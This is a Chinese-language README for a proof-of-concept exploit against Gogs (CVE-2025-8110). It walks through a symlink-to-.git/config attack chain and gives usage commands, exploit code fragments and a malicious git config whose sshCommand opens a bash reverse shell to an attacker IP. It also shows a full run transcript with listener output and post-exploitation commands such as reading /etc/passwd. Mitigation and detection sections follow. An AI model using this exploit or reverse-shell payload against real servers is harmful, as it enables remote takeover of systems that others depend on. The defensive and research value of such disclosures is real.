CVE-2025-8110 是 Gogs 中的一个严重漏洞,允许经过身份验证的攻击者通过仓库符号链接操纵实现远程代码执行。此概念验证演示了从身份验证到获取反向 shell 的完整攻击链。
该漏洞的存在是因为 Gogs 在处理仓库文件时通过 API 跟随符号链接,使得攻击者能够读取和修改敏感文件(如 .git/config)。通过注入恶意的 sshCommand 指令,可以以 Gogs 服务账户的权限执行任意系统命令。
CVSS 评分: 7.2(高危)
攻击向量: 网络
需要身份验证: 是
用户交互: 无
影响: 完全系统沦陷
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # 主漏洞利用脚本
├── requirements.txt # Python 依赖列表
└── README.md # 文档
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 漏洞利用链 │
└─────────────────────────────────────────────────────────────────────────────┘
步骤 1:身份验证
├── 访问 /user/login
├── 从登录页面提取 CSRF 令牌
├── 使用 CSRF 令牌提交凭据
└── 建立已验证的会话
步骤 2:生成应用令牌
├── 访问 /user/settings/applications
├── 从设置页面提取 CSRF 令牌
├── 生成新的应用令牌
└── 从响应中提取令牌
步骤 3:创建恶意仓库
├── 通过 API 创建仓库,使用 auto_init
├── 生成随机仓库名称
└── 获取仓库 URL
步骤 4:上传符号链接
├── 本地克隆仓库
├── 创建指向 .git/config 的符号链接
├── 添加、提交并推送更改
└── 验证上传成功
步骤 5:RCE 利用
├── 构造包含 sshCommand 的恶意 .git/config
├── 将配置内容进行 Base64 编码
├── 通过 API 上传到符号链接目标
└── 触发命令执行
步骤 6:反向 shell
├── 与攻击者主机建立连接
├── 交互式 shell 访问
└── 在目标上执行命令
Gogs 在通过 API 处理仓库文件时未能正确清理符号链接遍历。当通过 API 端点访问文件时,Gogs 会跟随符号链接而不进行验证,从而允许访问仓库目录之外的其他敏感文件。
符号链接创建
ln -s .git/config malicious_link
git add malicious_link
git commit -m "添加符号链接"
git push origin master
恶意配置
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API 利用
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "利用 CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""从隐藏输入中解析 CSRF 令牌,包含多种备用方法。"""
# 方法 1:名称为 _csrf 的输入
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# 方法 2:名称为 csrf_token 的输入
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# 方法 3:包含 CSRF 的 meta 标签
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# 方法 4:script 标签中的正则模式
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# 方法 5:隐藏输入的正则
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("表单响应中未找到 CSRF 令牌")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# 攻击者机器 (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# 执行漏洞利用
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] 开始 CVE-2025-8110 漏洞利用
[INFO] 目标 URL: https://gogs.internal.local
[INFO] 攻击者主机: 10.10.14.15:4444
[INFO] 用户名: admin
[INFO] 正在向 Gogs 进行身份验证...
[INFO] 登录 CSRF 令牌已找到: abc123def456...
[SUCCESS] 身份验证成功
[INFO] 正在获取应用令牌...
[INFO] 设置 CSRF 令牌已找到: xyz789uvw012...
[SUCCESS] 应用令牌: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] 正在创建恶意仓库...
[SUCCESS] 仓库已创建: 6f7e8d9c0a1b
[INFO] 正在上传恶意符号链接...
[INFO] 正在克隆仓库...
[INFO] 正在创建符号链接: malicious_link -> .git/config
[INFO] 正在提交并推送更改...
[SUCCESS] 符号链接上传成功
[INFO] 正在发送漏洞载荷...
[SUCCESS] 载荷已发送,请检查你的监听器!
[INFO] 命令: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] 漏洞利用可能成功(超时表示反向 shell 已建立)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
要检查你的 Gogs 版本:
# 访问 Gogs 网页界面并查看页脚
# 或者使用 API
curl https://gogs.example.com/api/v1/version
更新 Gogs
# 备份现有安装
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# 下载并安装最新版本
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
禁用符号链接支持
# 在 custom/conf/app.ini 中
[repository]
DISABLE_SYMLINKS = true
实施输入验证
# 限制对 Gogs API 的访问
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
仓库活动
API 活动
/api/v1/repos/*/contents/* 的 PUT 请求.git/config系统指标
# 检查 Gogs 访问日志中是否存在 API 利用
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# 监控仓库中是否创建了符号链接
find /home/gogs/gogs-repositories -type l
# 检查是否存在可疑的 git 配置修改
grep -r "sshCommand" /home/gogs/gogs-repositories/
# 监控出站连接
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"git 配置中包含 sshCommand",
"随机十六进制仓库名称"
],
"recommended_actions": [
"审查仓库创建日志",
"检查符号链接文件",
"验证 API 访问模式"
]
}
此漏洞已被发现并负责任地披露给 Gogs 开发团队。供应商已在 0.12.6 版本中发布补丁。
此工具仅供教育和授权安全测试使用。用户必须:
作者对此工具的任何滥用或造成的损害不承担任何责任。
MIT 许可证
版权所有 (c) 2025 oguiii
特此免费授予任何获得本软件副本及相关文档文件(“软件”)的人不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售本软件副本的权利,并允许获得本软件的人这样做,但须符合以下条件:
上述版权声明和本许可声明应包含在本软件的所有副本或重要部分中。
本软件按“原样”提供,不提供任何明示或默示的担保,包括但不限于适销性、特定用途适用性和不侵权的担保。在任何情况下,作者或版权持有者均不对因本软件或本软件的使用或其他交易而引起的任何索赔、损害或其他责任负责,无论是基于合同、侵权或其他行为。
由 oguiii 倾心制作
| 选项 | 描述 | 必需 |
|---|
-u, --url | Gogs 基本 URL(例如 https://gogs.example.com) | 是 |
-lh, --host | 攻击者 IP 地址,用于反向 shell | 是 |
-lp, --port | 攻击者端口,用于反向 shell | 是 |
-U, --username | Gogs 用户名 | 是 |
-P, --password | Gogs 密码 | 是 |
-x, --proxy | 启用代理(localhost:8080) | 否 |
-v, --verbose | 启用详细输出 | 否 |